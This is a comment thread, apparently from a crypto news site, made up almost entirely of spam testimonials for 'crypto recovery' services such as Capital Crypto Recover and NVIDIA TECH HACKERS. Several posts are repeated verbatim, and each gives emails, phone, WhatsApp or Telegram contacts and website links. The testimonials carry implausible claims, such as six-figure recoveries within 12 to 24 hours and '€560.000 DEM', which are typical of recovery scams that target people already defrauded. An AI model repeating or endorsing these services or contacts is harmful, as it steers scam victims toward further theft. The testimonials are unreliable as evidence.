    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация

Похожие новости

Есть вопросы?
С вами на связи 24/7
Поддержка 24/7 Help Icon
Менеджер онлайн Help Icon
Help Icon